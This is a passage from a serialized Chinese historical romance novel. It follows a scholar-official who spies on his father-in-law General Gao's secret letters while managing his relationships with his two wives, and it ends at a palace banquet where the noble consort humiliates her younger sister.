甫一进入密室，黑暗便将两人笼罩。 这密室里未点灯油，黑漆漆一片，明澈第一时间将高萍萍牵着道，“夫人，这里太黑，你小心磕着！” 明澈今天本就是要与高萍萍演一场好戏，要取得高萍萍的信任，让她带自己入书房的，谁知误打误撞竟和小满演了场戏就轻松进了书房。 只是，现在这个地方若要安然出去，恐怕还得仰仗高萍萍，因此这戏不能费，还得演起来。 高萍萍感受到明澈温热的触感，本能地挣扎了几下便任由明澈握紧了，索性这里没有人，小满也不在，牵个小手应当可以的吧？毕竟是为了安全！ 二人缓了缓，终于适应了这密室的黑暗，也能大体将密室看清楚了。 高萍萍甩开明澈的手故作不在意道，“我爹若是知道我发现了他的密室，定然会一刀砍了我！” “你是你爹的亲女儿，不至于吧？”明澈一边和高萍萍聊天，一边在密室中寻找火折子。 “怎得不会，我爹其实只有一个女儿，那便是当朝贵妃娘娘！而我，不过是当个小猫小狗养着便罢了！”高萍萍说着，点燃了一根蜡烛道，“你找个东西还真费劲，不是就在这儿吗？” 微弱的烛火将密室照得亮了起来，明澈抓紧时间四下里搜寻，只希望能顺利找到高将军的那些秘信。 “你干嘛呢？找什么？”高萍萍不知明澈这偷偷摸摸的样子倒是在干嘛？ “哦，一般密室都有机关，我担心这里有什么危险，呵呵——”明澈道。 高萍萍：“也是，待会儿我们要怎么出去呢？是得找找！” 有了高萍萍这句，明澈便正大光明地找了起来，“对啊，不然怎么出去呢，呵呵——” 二人寻了一刻钟，明澈已然在书案之上寻到了那些秘信，高萍萍也寻到了出去的机关。 方才高萍萍触碰那湛蓝色的瓷瓶时已然感觉到博古架隐隐发生响声，于是便确定那瓷瓶便是机关。 只要她轻轻扭动瓷瓶二人便能出去了，但高萍萍还不想出去！她觉得同明澈单独待在这间密室里甚好！ “高萍萍，你不是要和人家抢相公，只是多待一会儿而已！就放肆这一回，出去之后谁都不知道！” 第194章 什么都没听到 “高萍萍，你做人着实是不磊落，倘若想要这明澈就逼着他圆房啊？你可是他的平妻，他还能拒绝不成？” “不行啊，高萍萍，做那忘恩负义之事，怎得对得起小满？你成个什么人了？” 高萍萍觉得自己脑子里有两个小人在打架，一个劝她在这密室里放肆一些，一个劝她做人磊落一些。 正天人交战之时，高萍萍觉得那温热的手掌又覆了上来，“你找到机关了吗？” 高萍萍：“没，还没——” 那作为机关的瓷瓶放置于博古架的底层，像明澈这种只会读书，动手能力极差的书呆子想要找到还真有些费劲。 不像高萍萍这种在乡野肆意长大的女子，平日里上房揭瓦惯了，自是什么都难不倒她。 “你可真笨，连个机关也寻不到。”这句话高萍萍是发自肺腑的，果然百无一用是书生。 明澈倒也不急着离开，方才他起念要将秘信偷藏于袖袋之中，但如此一来定然打草惊蛇，不如只抽空儿将那秘信看上一遍，如此明儿入宫也能交差。 “萍萍，你也累了吧！既然找不着，那便休息一会儿，我们玩个游戏如何？”明澈要寻个能得空看那秘信的时机。 “他竟然叫我萍萍？”高萍萍心道。 自入了这密室后，明澈与在外面时截然不同，好似？好似与她亲近了许多！难不成明澈也是怕小满伤心？ 也罢，反正现在四下无人，那就让他们糊涂一回，就一回！ 高萍萍：“好！玩什么？反正闲着也是闲着？” 明澈：“玩藏猫猫怎么样？你闭着眼睛数一百个数，在这个暗室玩一定很有意思！” 高萍萍：“你多大个人了？居然有心思在这密室里玩躲猫猫？” 明澈故作高深般同高萍萍讲述了他小时候痴傻，她娘陪他玩躲猫猫的故事，高萍萍会意，不愿让他再回忆亡母，便配合地捂了眼睛，“一、二、三......” 明澈趁机一目十行读着那些秘信，然秘信还未读完高萍萍那一百个数便数完了。 明澈只得如此反复玩着游戏，待他将秘信瞧了个七七八八时便道，“好了，好了，不玩了，没意思——” “很好玩啊！”高萍萍觉得只要明澈愿意陪着她玩笑，这小孩子的游戏她亦觉得津津有味。 “不玩了，赶紧找机关！”赶紧出去才是关键。 明澈定了定心，四处搜寻一番，堪堪明白那瓷瓶便是机关时，只听得外面有人在谈话。 “将军，您掌管禁军，只要拥立谁这大顺便是谁的天下！” “是啊，所谓狡兔死走狗烹，末将瞧着那皇帝老儿也不过是一忘恩负义之辈，如今不但在我们军中安了个劳什子监军，且那皇帝不让二小姐进宫，摆明了就是不想让我们高家诞下皇嗣！” “将军你立下汗马功劳，大小姐连个后位都得不到，凭什么那姓谢的为后？” 明澈猜测这是将军府的一些幕僚在劝谏高将军重新拥立新主，至于他们要拥立的对象应当就是秘信中的秦王。 “我自有论断，且等等——”这是高将军的声音。 密室中的明澈与高萍萍将外室的谈话听得一清二楚。 此刻的高萍萍很后悔没有早早出了密室，现在倒好，要如何出去？难不成要在这里过夜吗？倘若她爹高将军发现她与明澈偷听了他们的秘密，二人焉能有好下场？ 二人听着外间几人的谈话，似有要进入密室之中的意思。 明澈一把搂过高萍萍道，“得罪了！我们两个若想顺利出去，就得让你爹晓得方才的话我们没有听到！” “好，那我们要怎么做？”高萍萍急切道。 “得干点儿热火朝天的事儿，让他们觉得你我无暇顾及外面——”明澈说着便将高萍萍放在了地上，自己随即覆了上去。 “你干嘛？这就是你想的好法子？”高萍萍死死握着要解她衣扣的手，慌得不知该如何是好。 明澈：“没时间了，想要活命就得配合！” 于是当高将军及其幕僚打开密室的门时便看到了如此一幕。 “啊——”高萍萍大叫。 明澈慌忙将二人的衣衫裹了裹。 高将军看到是女儿和女婿后气得脸色青紫，“你们怎得进来的？” 一旁的幕僚已知趣的退了出来，明澈与高萍萍也随即爬了起来。 “爹，都是女儿的错！上次在您书房不小心发现了这个暗室，便觉得是个好地方，正好能和夫君一起——”高萍萍说着便红着脸颊瞧了眼明澈。 “你们是夫妻，何必干这种偷偷摸摸的事情，还干到了我的密室里！”高将军气得跳脚，“真真是丢人现眼！方才可听到什么了？” “什么？” “什么？” 两眼无辜。 明澈：“岳父大人，听到什么？您早就进来了吗？” “是啊，爹！你早就进来是早就听到这里的动静——了吗？”高萍萍羞愧到无法言说。 高将军便也释怀，倘若二人早早听到他与幕僚所言，自不会傻傻等着被捉—— “你二人且告诉我，是你明府没有床榻吗？怎得非要在此地此时，哎呀！”高将军实在是想不通她这女儿的所作所为。 此时，姜小满挺着孕肚进来，指着二人道，“好啊！原来你们在这里！” “你个没良心的东西，果真是有了新人忘了旧人！你们是觉着我在家里管得严，非要跑这里丢人现眼是吧？” 听着姜小满之言，高将军似乎明白女儿女婿为何会如此，原来是家有悍妇啊！ ...... 出了这么大的糗，回程路上三人皆是敛声屏气。 下车时小满与高萍萍一个往东一个往西皆是回自己的院子，明澈亦步亦趋地跟着小满往蘅泽苑的方向而去，高萍萍回眸瞧着二人鼻尖忽得一阵酸楚。 而那边姜小满甫一进到蘅泽苑后便与左右道，“关门，不许他进来！” “娘子，你听我解释——”明澈话音未落便被关在了外面。 解释什么？姜小满不但明白，还配合着演了场戏，只是她需要缓缓—— 第195章 都这样儿了还不生气？ 皇宫，上书房。 明澈将昨日在高将军府秘信中看到的内容如数告知皇帝，秘信内容大致为两点，其一高将军频繁往来之人是秦王；其二秦王虽有谋反之心，然高将军仍在左右摇摆之中。 “果然是秦王！”皇帝负手绕过案几道，“照你所言这高将军并未完全听信秦王之言？” “的确如此！”明澈拱手道。 皇帝：“也就是说朕目前是在与那秦王博弈，你觉得朕该当如何方能安抚高将军之心呐！” 自入内阁以来，明澈已然能渐渐探得君心，皇帝心中定然已经有了主意，而他目前要做的就是说出皇帝心中的那个决策。 按理说高将军有从龙之功理应重用，但明澈知晓皇帝的顾虑，如此位高权重之人又把着禁军，皇帝的命脉相当于握在其手中。 而高将军的不满显然是因为给的不够，自皇帝登基以来除了封高将军的女儿为贵妃外并无太多实质性地好处，也难怪高将军心中不忿。 但皇帝还能怎样？既不可能废后改立高将军的女儿，又不可能任由高将军功高震主？ 明澈觉得皇帝对高将军已然动了杀心，倘若昨夜的秘信真有什么问题，想来今日的将军府已然在劫难逃。如今皇帝既然询问于他，那便是仍有转圜的余地。 “回陛下，微臣认为高将军戎马半生，此时应当享享清福了，不如请高将军于西南之地安享富贵！”明澈拱手垂眸道。 既没有动杀心，又不可能让高将军这样手握重兵，唯一的出路便是让高将军放弃兵权并拿着数不尽的赏赐永享富贵，如此最是两相宜。 “这倒是个好法子！是朕疏忽了，自登基以来还未好好安抚过高将军！”把钱拿走，把兵权留下，这亦是皇帝心中的筹谋。 如今摆在高将军面前的只有两条路，死或者富贵。 这一点皇帝知，明澈知，但高将军不知。高将军所求不但有步步高升，而且期待着女儿能夺得凤位，甚至成为日后储君之外祖，以换得家族的无上荣耀。 眼下，明澈所要做的便是让高将军明白他只有两条路，而非三条路！让高将军痛快交出兵权是最好的结局！ “明澈，你与岳父大人可还亲厚？”皇帝复回到圈椅之上，定定瞧着明澈道。 皇帝已然暗示过明澈定要与高夫人琴瑟和谐一些，如此方能赢得岳父的信任。明澈自问这几日已经努力了，与那岳父的关系也算尚可，看来皇帝又要派发任务了。 明澈：“回陛下，尚可！但还谈不上亲厚——” “既如此，你可要加把劲儿了，先要对那高夫人好一些，岳家才会瞧着你可亲一些！”皇帝意味深长地瞧了明澈一眼道，“可是有什么困难？朕还等着你将明路指给高将军呢！” 皇帝的意思再明白不过，要明澈同高萍萍亲厚，尽快取得高将军的信任并引导高将军做出最好的选择，如此两相宜。 否则，高将军府说不准又是一场灭门之祸！ 明澈晓得其间的利害，当下表示定然不负重托！ 皇帝临了，拍了拍明澈的肩道，“朕可以，明爱卿亦可以！朕如今可是雨露均沾！明爱卿食朝廷俸禄，这点付出是应当的——” 明澈叩首，表示坚决完成任务，回家便去同那高萍萍搞好关系。 没法子呀！人家皇帝都能撇下皇后去高贵妃宫里，他明澈也必须得能！ 话说明澈这厢在宫里议事，小满却在家中听着高萍萍的絮叨。 “姐姐，眼见也不能为实，那日真真是为了脱身，老爷他心中只有姐姐——”高萍萍想了一夜，决定今早就来和小满说个清楚，免得她误会。 当然，明澈在密室中偷偷握了她手的事儿是坚决不能同小满说的，明澈到底同她是否清白，眼下连她自己也说不清楚，但在姜小满面前必须表现得清白，且以后也要同明澈清白。 “妹妹，你是老爷的平妻，还有陛下的赐婚圣旨，你同老爷在一起是天经地义的事儿！”姜小满不懂，这高萍萍作为这个时代的人，觉悟怎得如此之高，竟然因为同自己的夫君亲密了些就来同正妻表忠心？ 这不合常理—— “姐姐，看样子你还是没有原谅我！老爷那文绉绉的样子我甚是讨厌，我平日里最讨厌这些书生——”高萍萍以为小满是故意这么说，所以极力证明自己对明澈不感兴趣。 “妹妹，你何必如此？倘若你当真与老爷圆房，甚至生儿育女，我也不会生你的气，那是你的夫君！”姜小满想了想，又道，“倘若当真心中有嫌隙，那也是同老爷，与你没有关系。” 高萍萍见小满所言如此真切，不禁再一次瞧不起对明澈起心动念的自己。 “高萍萍，你还是个人吗？多好的主母啊！你当日就是因为感念小满的救命之恩，想着来明府找个安身立命之所，想着能同你敬佩之人共度此生才来的明府！现在居然惦记上恩人的相公了？我打你个忘恩负义的东西——” “莫忘初心啊高萍萍，你来明府是嫁小满的，不是嫁明澈的！莫忘初心，莫忘初心——” 姜小满瞧着碎碎念的高萍萍不禁失笑道，“你这是在干嘛？” 高萍萍：“哦！我没事，那我就先回去了——” ...... 明澈下值回来，立在了二门前，是往东还是往西呢？ 他心里是惦记着小满的，但进了蘅泽苑又不知该如何面对小满，毕竟昨儿在高将军府与高萍萍那一幕让小满看到了—— 去梅香居吗？ 明澈斟酌了几息，决定还是先去瞧瞧小满。 当明澈蹑手蹑脚来到蘅泽苑不知该如何同小满解释时，入门便听到了小满同丫鬟们叽叽喳喳的欢笑声。 “娘子居然没有生气？还挺——高兴？”明澈这样想着便道了一声，“娘子，在做什么呢？” “夫君回来了！”小满起身将明澈迎了上去让其一同看自己列出的那些名字。 “夫君，我还是想把家学开起来，还要开女学，这些是我列出的教书先生名单，夫君可要过过目？” 第196章 我同谁是夫妻？ 小满不但没有生气，还叫自己夫君？明澈警告多次要小满叫自己夫君她都不记得，平日里都是直呼他的名字，今儿这是怎么了？ “这几个都是好的！”明澈在小满列出的名单上点了几个后道，“娘子想将家学开起来是好事，一切都由娘子做主，只是切莫累坏了身子——” “做自己喜欢的事儿不累的，我还要再研究一下——” 昨夜姜小满脑子里皆是明澈与高萍萍在一起的画面，扰得她半宿没睡好。 今儿她顿悟了，作为一个觉醒前世记忆的人，她姜小满断然接受不了两女共侍一夫的日子，但她如今可是生活在大顺朝。 明澈为了取得高将军的信任同高萍萍交好，高萍萍同自己的夫君在一起，这都无妨！既如此，那就入乡随俗吧，大顺朝的姜小满接受她的相公娶了平妻，并且要贤良淑德地尽好妻子的责任。 但是现代人姜小满不可以，所以白日里将表面功夫做好就行了，她姜小满要在明府生存，要生孩子养孩子，要让孩子日后有好的教育，要在这大顺朝活得顺心顺意，但夜里她便要做现代人姜小满了。 如今她着手要做的办家学，尤其是办女学便是她在大顺朝真正要做的事！她上辈子的娘说得对，不囿于情爱，人生在世有许许多多的事情可以做！ 明澈瞧着蘸了墨汁用心勾勾画画的小满，心里有些不好受，“小满居然没生气？我都同高萍萍那样儿了她都不生气？为什么不生气？” 在踏入蘅泽苑前的明澈担忧小满会生气，但此刻的他希望小满会生气。 明澈：“娘子，昨天的事儿，你听我解释——” “解释什么？”姜小满不以为然道，“你们夫妻在一起天经地义！” 这话落在明澈的耳中比打他还难受，“什么叫做我们夫妻？我同谁是夫妻？” 姜小满：“平妻也是妻啊！” “你——”明澈气急，他没想到竟然在小满的口中听到她称自己与别的女人是夫妻。 “姜小满，别乱说，你才是我的妻！”明澈一把将小满手中的笔拔出道。 “哦！你我自然也是夫妻——” 姜小满的话毫无波澜，明澈的胸中恰似有火要喷发出来。 好你个姜小满，枉我还担忧你生气伤了身子，如今看来你开心得很呢！本就计划今晚奉旨去梅香居的明澈，来之前还担忧怎样同姜小满开口，如今看来即便他真去了梅香居对方也不会生气。 “我——我今夜去梅香居了——”明澈鼓足了劲儿终于将这几个艰涩的字吐了出来。 姜小满：“哦——” 毫无波澜。 明澈拂袖离去，默默站在屋外听里边儿的动静，他敢笃定小满是装的，只要他一走，小满定然本性暴露。 到时候，他就趁势再回来！至于那梅香居晚一日去倒也无妨。 只是，他腿都有些站麻了，非但没有听到小满的期期艾艾，反倒听到小满与茉心那丫头又叽叽喳喳地研究起了给肚子里的孩儿准备什么衣裳—— 真真是气煞人也！行吧，既如此，他就只能去梅香居了！早晚都得去—— 梅香居。 高萍萍甫一看到明澈过来，先是心底泛起一丝喜色，随即便动怒道，“你来我这里干嘛？以后没事儿别来我这院子！” 高萍萍今日方在姜小满那里下了决心，决定不惦记恩人的相公，莫忘初心！ “高萍萍，即便全天下的男人都死绝了，你也不能对恩人的相公起心动念！”高萍萍又在心里将这一句默念了一遍。 明澈：“夫人，我来看看你！” 明澈方才已在梅香居门前理了理思绪，告诉自己这是任务。 “我有什么好看的？我不是警告过你吗？不许再入我这院子——”高萍萍心口不一道。 “老爷莫怪，我们夫人盼着老爷来呢！”梅香居的丫鬟们见状忙退出了房门。 眼下屋内只剩二人，明澈便如幼时背书一般道，“夫人，你是我的平妻，我自然要来看夫人！其实，我已然心悦夫人许久了！” “你心悦我？”高萍萍有一丝的怀疑，亦有一丝的动心道，“我有什么地方让你心悦的？” 明澈想了想，便将夸赞女子的那些词汇集合了一番道，“我自是心悦夫人你贤良淑德、温柔善解人意、才情斐然且肤如凝脂——” 高萍萍越听越来气，这是她吗？对面这人到底认不认识她啊？ 这贤良淑德、温柔善解人意也就罢了，那句肤如凝脂简直就是睁眼说瞎话！她从小就喜欢在田地里野，如今更是整日家侍弄花木，她这小麦色的皮肤怎得就能肤如凝脂？ 此刻的高萍萍真想狠狠踹上明澈几脚，让他睁开他的狗眼瞧瞧，谁肤如凝脂？他们全家都肤如凝脂！ 高萍萍缓了缓气儿，又从口中迸出句，“那你心悦姐姐什么？” “心悦小满什么？”明澈脱口而出，“就心悦她是小满啊——” 明澈编不出什么华丽的辞藻来安在小满身上，他心悦小满只有一个原因，因为这世上只有一个小满。 高萍萍这下倒不是生气，而是从心底泛起了隐隐的不适，明澈他心悦之人只有小满—— “你是自己出去，还是我将你打出去！”高萍萍定定道，她怕这家伙再待一会儿她就要气晕过去了。 她高萍萍虽说从小野着长大，但也不是什么随随便便的人！怎得？同为女人，他明澈心悦姜小满就是真心喜欢，到了自己这里就是胡编乱造了？ 她高萍萍值得拥有真心爱她、心悦她、欣赏她的男子！ 这一刻，高萍萍决定，哪怕不是为了姜小满，她也无法接受明澈，除非他真的心悦于她。 “又要被打？被打了也好，最好身上多留些痕迹，如此明日无论见了陛下还是见了高将军，那可都是好事儿呀？”明澈这样想着便定定道，“我今儿就要睡这儿，你想打就打吧！” 上次明澈便是因着这句无礼的话被暴揍了一顿，这次应当也不会例外！ 果然，高萍萍挥舞着扫帚冲了过来，明澈眼睛一闭，“明儿可以交差了！” 第197章 岳父大人 次日，明澈在殿外等着点卯时，高将军上下打量了他道，“怎得？又被那丫头打了？” “岳父大人，求您给小婿做主啊！”明澈撸起袖子便一一展示那高萍萍的杰作。 “孽障！孽障！”高将军颇觉对明澈不住，亦暗暗感慨幸而这死丫头没入宫，否则依着她这个性子指不定就祸害了整个高家。 思及此处，高将军再也没有未将高萍萍顺利送进宫的惆怅，反而越瞧明澈这个女婿越是喜欢，被女儿揍成这样了还一口一个岳父大人。 与此同时，来来往往的官员经过这翁婿二人时明澈皆做出一副以岳父为先的谦卑姿态，这让高将军很是受用。 放眼他高家子侄，没有几个如明澈这般成器的。这个便宜女婿虽说近来受自己牵连不在御前讨喜，但好歹是入了内阁，最重要的是眼里有他这个岳父。 “你放心，改日我定然上门替你教训这个孽障！”高将军瞧明澈的眼神有了几分老丈人看女婿的喜爱。 “岳父大人，借一步说话。”明澈将高将军拉至一旁道，“听闻过几日皇子满月，贵妃有意将孩子记在自己名下？” 自大皇子钱谢安出嗣庆国公府变回了谢安后，皇帝终是迎来了他真正的第一子。只是这位皇子的生母品阶不高，只是一个小小的美人，因此高贵妃便有了过继孩子的想法。 按说高贵妃要过继孩子已是公开的秘密，皇帝好似已然默许，只待为皇子举办满月礼时一遍举行仪式。 高将军：“有何不可吗？” 明澈面上显出恐惧，忙拱手作揖道，“不可呀，岳父！眼下皇后娘娘已有身孕，未来的储君必出中宫！” 高将军闻言轻哼一声道，“你可是我的女婿，怎得长他人志气灭自己威风！” 明澈：“岳父！你可知我夫人姜氏曾是当今皇后的丫鬟？眼下贵妃虽说得宠些，但帝后之情不是他人能够堪比的！” “帝后自小青梅竹马，皇后阴差阳错与他人成婚生子，即便被休弃依旧能入主中宫，岳父觉得此等情谊陛下将来会立那小小美人的孩儿为储君吗？” “不瞒岳父，小婿同姜氏都曾亲眼所见，当年还是羽王的陛下爬墙头会佳人——” 高将军听着明澈的滔滔不绝，眼神晦暗莫辨。 他一直不明白皇帝为何非要在那么些女眷中立那谢氏为后？当今皇后曾为下堂妇，就连所生孩儿的身份也是扑朔迷离，这已是当朝没有公开的秘辛。 如今听闻明澈所言，高将军心里也明了了几分。 明澈这探花郎是出于承恩侯府，而皇后谢氏亦曾是承恩侯之妻，如此说来明澈与那姜氏同皇后是旧相识，他们知其原委实属正常。 但高将军看明澈的眼神有了几分怀疑，怪道他总是为皇后筹谋。 “贤婿莫不是替皇后来做说客的吧？”高将军想了几息道。 “岳父明鉴！小婿虽也出自承恩侯府，但从前同皇后娘娘不过是仆从同主母的关系，而我却是岳父您的女婿呀！俗话说得好，一个女婿半个儿，小婿自当奉岳父如亲父一般！” “况且，前些时日，言官的弹劾如雪片般飞来，若不是有岳父顶着，小婿这头顶的乌纱怕早就待不住了！从那日起，小婿便打定主意，唯岳父马首是瞻，只要岳父好小婿便好！小婿同岳父那实在是一荣俱荣，一损俱损啊！” “小婿之心苍天可鉴，方才之言全然出自肺腑，小婿一片苦心只盼着岳父安泰——” 明澈亦是佩服自己这张嘴，情急之下不知从哪里冒出来这么多忠贞之言。 那高将军本就有些自大喜奉承，被明澈一顿操作下来，自是颇为熨帖，“贤婿莫要多心，是我多虑了！依贤婿所言，贵妃不应抚养皇子吗？” 明澈瞧着高将军已然对自己消了顾虑，于是开口道，“岳父，如今皇后有孕，贵妃娘娘若是将皇子养在身边那无疑是在同皇后叫板！如此一来，帝后皆会视贵妃与岳父为眼中刺，得不偿失啊——” “难不成这后宫便是皇后的天下了？”高将军有些不服气道，“我当日迎那位入宫谋的是什么？难不成只是为了女儿的贵妃之位不成？” 高将军虽说已然将明澈之言听了进去，但是要让他放弃还是有些不甘心！他决定拼一拼！ 明澈已然点到为止便也转了话题聊了些日常的饮茶对弈之道，他言尽于此，倘若那高将军听不进去的话，很快便会迎来苦果。 届时，于高将军悔恨之时他今日之言更显珍贵，他便是高将军最为信赖倚仗之人，到时候再将自己“放兵权、取富贵”的谏言提出，一切就那么水到渠成了—— 今日与明澈而言还有另一个收获，那就是哪怕不取悦高萍萍，自己依旧可以取得高将军的信任。 对高将军而言，似乎那女儿得不得夫君的宠爱，过得是否畅快都不甚重要，既如此那明澈也就不必费尽心机去博高萍萍一笑了。 反正高萍萍是他的平妻，他是高将军的女婿，有这一层关系就够用了！ 下值后，明澈很自然地入了蘅泽苑。 这几日以来明澈皆是宿在书房，几日未能与小满亲近，他今儿打定了主意坚决不走。 “夫君来了，累了吧，快上茶！”这几日的小满一如既往地客气疏离。 “娘子，今天孩儿有没有调皮？”明澈说着便要用手去探一探。 “孩子乖得很。”姜小满向后退了一退便转了话头道，“夫君，我想了想，只要是同我们明府沾亲带故之人的子女皆可入家学！” “哪怕是府中仆妇家丁之子，只要其愿意向学，一旦考中秀才我便允其脱籍求取功名，夫君觉得可好？” 明澈：“好！” “我希望这家学之中多出几个同夫君这样的人，也算是为肚子里的孩子积福了！还有那承恩侯府留在京中的旁支子弟皆可免费入学！” “倘若没有承恩侯府开设家学允你读书，你也没有今日之成果，我们也算是还宋家一个恩情！” 第198章 你孩子不住这里 明澈瞧着一脸认真的姜小满竟有些看呆了，她并非是一个只钻营内宅庶务的女子，她的确在做自己喜欢的事。 二人又讨论了番女学中要不要开设刺绣、织染等技能后茉心便入室添了蜡烛。 姜小满瞧了眼烛火道，“夫君且回吧，天色不早了。” “回哪里，这里就是我的地方啊！”明澈故作轻松道。 姜小满也懒得同他打嘴仗，都老夫老妻了，愿意在就在呗，还能怎么样？ 夜里，姜小满面壁躺在里侧做出一副要划清楚河汉界的姿态，明澈试探着欲同往常那般环手而抱却屡屡招了拒。 室内烛光幽微，明澈望着躬身而卧的小满心中竟然浮出一丝喜色，“娘子还是生气的，这就对了嘛！她还是在意我的——” 当欲要破界的手臂再一次被拒了之后，明澈决定换换策略，于是便抬手去往了小满隆起的肚子。 姜小满：“你干嘛？能不能好好睡觉？” “这还差不多，这才像他的小满嘛！”明澈心里这样想着，开口却是，“怎么了？我瞧瞧我的孩子！” 小满被这句噎了一瞬，嘟囔道，“什么你的孩子，你的孩子还在我肚子里？” “对啊！她/他既然是我们的孩子，总不能你日日带着他，我这当爹的也要瞧瞧啊，我瞧我的孩子天经地义！”明澈说着便继续用手去瞧他的孩子。 姜小满无语，只是不知是不是因为感受到明澈，那肚子里的孩子竟然动来动去给着回应，明澈大喜不禁坐了起来附耳趴在小满肚子上道，“孩子，我是爹！” “行了，赶紧睡吧，孩子也要睡！哎呦——”孩子动来动去，小满有些受不住。 明澈见状便开始帮小满柔柔腰腿，小满本着保持距离的原则道，“你孩子不住这里，这里不归你！” 明澈：“谁说的，我儿子方才和我说了他睡不着是因为娘的腿太酸了，需要爹捏捏！我这是给孩子捏的——” 姜小满便也不再拒绝，因为这样一来果真舒服了很多—— 与此同时，梅香居中高萍萍本已打好了腹稿，等着明澈过来时同他打嘴仗用，但等来等去却等来了丫鬟告诉他明澈直接回了蘅泽苑。 “这就对了嘛！”高萍萍故作轻松般对丫鬟道，“省得姑奶奶我再动粗，他定然是被我打怕了，哈哈——” 只是到了夜深人静时，翻来覆去睡不着的高萍萍便开始反省，“既然要在明府长长久久地安身立命便不能同主君关系这般的差，好吧，等他下次来时我对他客气一些！” 只是一连等了几日，那明澈都未再踏入梅香居一步，反倒是常常出入她娘家高将军府。 “这家伙葫芦里卖得什么药？当真以为同我娘家亲近些就能让我对他青眼吗？不能够！”高萍萍将明澈与她爹关系越发亲厚的原因归纳为是为博她青眼。 又过了几日，高萍萍没有等来明澈同她打嘴仗，却等来了皇子的满月宴。 按理说皇子的满月是同明府关系不大的，但奈何这是皇帝实际意义上的长子，所以四品以上官员的家眷都被邀了入宫。 官眷们都疯传这次满月宴不止是满月这么简单，如此大张旗鼓地办宴其实是要将孩儿过到高贵妃名下。满城谁人不知眼下贵妃是盛宠，连皇后都要让几分，皇帝一月里有大半的时间皆是宿在贵妃宫中。 所以作为贵妃唯一的亲妹，又是明澈这个内阁大学士的平妻，高萍萍自然受邀参加。 满月宴这日，高萍萍早早装扮好便去叫小满同去。 小满虽怀了身孕，但亦决定赴宴，毕竟同样刚刚有孕还胎像不稳的皇后娘娘都要去呢，她又怎好请辞？ 因此，一行三人，便晃晃悠悠入宫了。 宫宴在昭和殿进行，男女宾同殿但分席，中间由几道屏风隔开。 待帝后为小皇子进行了满月仪式，着人欲将皇子抱回去后，一直等着的高贵妃按耐不住了。 “陛下，那将孩子记在臣妾这边的事儿？”高贵妃试探道。 “朕何时说过要将孩子记在你这里？”皇帝一脸的莫名其妙。 高贵妃急得脸色绯红道，“陛下金口玉言，早些时候不是同臣妾说了，我若喜欢孩儿便好生抚养这孩儿的吗？” 皇帝：“对啊？你是这孩儿的庶母，是朕的贵妃，难道不该协助沐美人好好抚养孩儿吗？” 高贵妃：“可是，可是那沐美人位份低，论理是没有资格抚养皇子，臣妾是真心喜欢孩子——” 还未等高贵妃语毕，皇帝便笑言，“贵妃大可放心，沐美人既然做了皇子的生母，朕自当给她升一升位份！来人，即可拟制，沐美人诞育皇子有功，晋为沐嫔。” 没想到自己一言竟然助沐美人那个贱人封了嫔，高贵妃尽量忍着不让自己殿前失仪。 宴席已过了大半，下首的高萍萍没等到传言中要将皇子记在高贵妃名下的旨意，却看到高贵妃那比哭还难看的表情，心下颇是畅快。 “姐姐，瞧我那长姐鼻子都气歪了，想来陛下并未有将皇子记在她名下之意，嘻嘻——”高萍萍附耳与姜小满小声说着。 “你倒是不为贵妃娘娘着急？”姜小满不知着高萍萍怎得瞧着自己姐姐吃瘪竟如此的幸灾乐祸？ “姐姐？我如今只有一个姐姐，那便是你！”高萍萍顿了一瞬又与小满道，“姐姐，你之前是见过我的，粗布麻衣怎配做贵妃娘娘的妹妹？” 姜小满想起初见时高萍萍那补着补丁的粗布衣裳，亦是明了这贵妃定然从未将高萍萍视作亲妹，否则姐妹二人也着实天差地别了些。 “若只是对我不管不顾，我也勉强叫她一声姐姐，可你不知她心肠如何歹毒？”高萍萍轻哼了一声继续道，“别以为我不知道，当日祈福下山途中那些歹人就是受她指使！她不过是想毁了我的清白让我入不得宫而已——” 当时高贵妃是不赞成让高萍萍入宫的，姐妹本就失和，若日日瞧着庶妹在自己眼皮底下争宠，那不如一刀杀了她！但高贵妃说服不了高将军，所以只能出此下策。 第199章 人质 听到此处，姜小满大概明了高萍萍那日为何会差点遇险，但眼下二人可是在宫中赴宴，高萍萍便这么不设防的将贵妃无法见光之事说了出来，这得是多大的胆子？ “不许胡说，这里是宫里！”姜小满急急让高萍萍住了口。 “宫里又如何？我就是咽不下这口气——”说这句时高萍萍声音极低极细，小满说得对，这里是宫里容不得她放肆。 但终究咽不下这口气的高萍萍决定趁高贵妃不高兴的时候过去再给她添些赌！ 高萍萍：“长姐，我方才怎么看到小皇子已然让抱回去了呢，沐美人还晋了位份，不是听闻要记在长姐的名下吗？” 姜小满在几步远的地方瞧着二人，真真为高萍萍捏了把汗，那位可是贵妃，她就是再不满也不能挑这个时候吧，这傻丫头还真是会惹事儿。 “妹妹还是称我为贵妃娘娘比较好！”高贵妃一脸的不耐，好似被高萍萍叫了几声长姐是丢了她多大的脸一般。 “这里是皇宫，妹妹粗鄙，还做了他人妾室，但在宫里也还是要有些分寸为好。”高贵妃掀眸道。 高萍萍：“什么妾室？我是平妻！” 高贵妃嗤笑，她就知道这个乡下来的庶妹心无城府，只要稍稍几句便能激得她暴跳如雷，居然还敢过来和自己斗。 “平妻？”高贵妃又笑了几声道，“那不就是个妾！你我虽同样姓高，可不是一般的贵贱！” 高萍萍：“你——” 高萍萍虽说莽撞了些，但嘴上的功夫却是不怎么行，眼下正气呼呼地指着贵妃你来你去，却不知该如何反驳。 正当此时，旁边一对孩童冲着贵妃而来。 “姑母，你在干嘛？是吵架了吗？”其中一个五岁左右的小女孩道。 “傻子，吵什么架？你没看到吗？这也是我们的小姑母！”一稍大一些的八九岁男孩指着高萍萍道。 听到那男孩叫自己姑母，高萍萍便对着孩子笑笑，这二个孩子是她嫡兄的儿女，她虽不喜贵妃但与孩子无仇。 谁知那名叫稚月的小女孩指着高萍萍道，“你才不是我姑母，我姑母是香香的贵妃，你长得黑乎乎的是哪里的村妇？” 高贵妃闻言便亲昵地抱起小女孩道，“稚月不愧是我高家的千金，和姑母一样都瞧不上那乡野村妇！” 那稚阳见状，亦跟着道，“姑母说得对，是侄儿错了，侄儿只有一位姑母。” 高贵妃：“稚阳乖，那人只不过是别家的一个妾室，你们身份尊贵若是喊一个妾室为姑母，那便是自降身份，可懂了？” “懂了，姑母！” 高萍萍简直要气炸了，竟然将好好的孩子教成这样，真真是作孽。高萍萍很生气，后果很严重！ 躲在几步远之处的姜小满目睹了这一幕，眼下她不得不将高萍萍领回来，她如今可是明府之人，看这架势是要闯出些祸事连累明府不成？ 